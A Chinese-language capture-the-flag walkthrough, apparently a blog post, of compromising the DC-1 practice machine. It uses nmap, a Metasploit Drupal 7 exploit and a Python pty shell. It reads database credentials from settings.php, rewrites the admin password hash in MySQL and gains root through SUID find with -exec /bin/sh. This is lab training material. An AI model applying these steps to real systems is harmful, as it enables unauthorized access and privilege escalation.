DC-1靶场通关详解

渗透靶场

本环境重在两个知识点(如下):

Druopal 7 (漏洞利用)

Find (提权)

  1. 目标:

靶场IP为:XXX.XXX.XXX.XXX/24

  1. 寻找靶机真实IP

nmap -sP XXX.XXX.XXX.XXX/24

使用 -sP参数 ,ping扫描,不扫描端口。

  1. 查看端口及服务

nmap -A -p- -v 192.168.184.131

-A 全面扫描

-v IP地址 显示扫描过程

发现开放了22、80、111端口,22端口开放了ssh服务,80端口存在web服务Drupal 7,111端口开放了rpcbind服务。

打开kali中自带的火狐

访问Web站点(靶机IP)

发现是一个电信的drupal服务,根据nmap结果显示得到当前运行的是Drupal 7的CMS

Searchsploit drupal 7

可以在浏览器上搜索相关版本的漏洞

4、利用MSF渗透

msfconsole 进入MSF控制台

search Drupal 搜索drupal模块

5、选择模块进行测试

这里我们使用2018这一模块

use 1 使用2018模块

设置靶机IP运行MSF

show options 查看信息

set rhosts 靶机IP

run 进行攻击

在linux中有很多类型的shell,不同的shell具备不同的功能,shell还决定了脚本中函数的语法,Linux中默认的shell是/bash/bash,流行的shell有ash、bash、ksh、csh、zsh等,不同的shell都有自己的特点以及用途

Linux中whoami命令用于显示用户名称

可以看到www-data权限

进入home目录下,发现了flag4.txt

这里提示我们需要提升下权限

  1. 使用python反弹一个交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

显示出当前的文件路径

  1. 发现flag1文件

查看www目录下文件,发现flag1.txt文件,打开后内容翻译如下

cd /var/www 回到www目录下

ls 查看目录下的文件

cat flag1.txt 查看flag1.txt文件内容

发现flag2文件

drupal的默认配置文件为 /var/www/sites/default/settings.php

查看文件内容

cat /var/www/sites/default/settings.php

可以看到flag2中数据库的账号密码

'username' => 'dbuser',

'password' => 'R0ck3t',

mysql -u dbuser -p

切换到dbuser数据库,输入密码(R0ck3t)

show databases; (查看数据库)

use drupaldb

show tables; (查看drupaldb中的表)

查看默认的drupal user表

select * from users;

可以看到admin的信息

密码是乱码,可以通过置换drupal密码来解决

输入quit;/ exit;(二者都可以)

退回到www目录下

php scripts/password-hash.sh  321(密码根据自身自定义)

进入数据库把密码字段进行替换,进入mysql,输入密码切换到drupaldb数据库

mysql -u dbuser -pR0ck3t

use drupaldb

将 pass字段进行替换

update users set pass="$S$DMjkpFCtara55Q7ySPYqDsKSp5f0bQBBTQn4NjgnuiaKXmjdc8OK" where name="admin";

替换完成后访问Web站点登录

账号:admin

密码是我们自己替换的

admin

321

成功登陆进去后随便翻一翻

发现了flag3,点击flag3后发现提示信息大致意思如下

提权并提示-exec,想到suid提权find命令

在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。

只有root用户的uid是0,如果把一个普通用户的uid修改为0,那么只要以普通用户的用户名和密码登录系统就会自动切换到root用户,在系统加固时一定要找出有哪些用户的uid为0。

假设可执行文件binexec其属主为root,当以非root身份登录时,如binexec设置了suid权限,就可以在非root身份下运行该可执行文件,可执行文件运行时该进程的权限为root权限。

利用此特性,就可通过suid进行提权。

退回到www目录下

find / -perm -4000 2>/dev/null

发现find命令

用命令测试,可发现为root权限

touch 321

ls

find / -name 321 -exec "whoami" \;

发现最后的flag文件

切换语句进入shell,执行whoami查看当前权限,执行ls查看当前目录下文件,切换到root目录,查看文件,发现cat thefinalflag.txt文件。

find ./ -name 321 -exec "/bin/sh" \;   

whoami

ls

cd /root

ls

查看cat thefinalflag.txt文件

cat thefinalflag.txt

内容意思如下:

发现flag4

 此时我们查看 /etc/passwd 文件,发现存在 flag4 用户,我们也可以使用 hydra 进行爆破

cat /etc/passwd

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值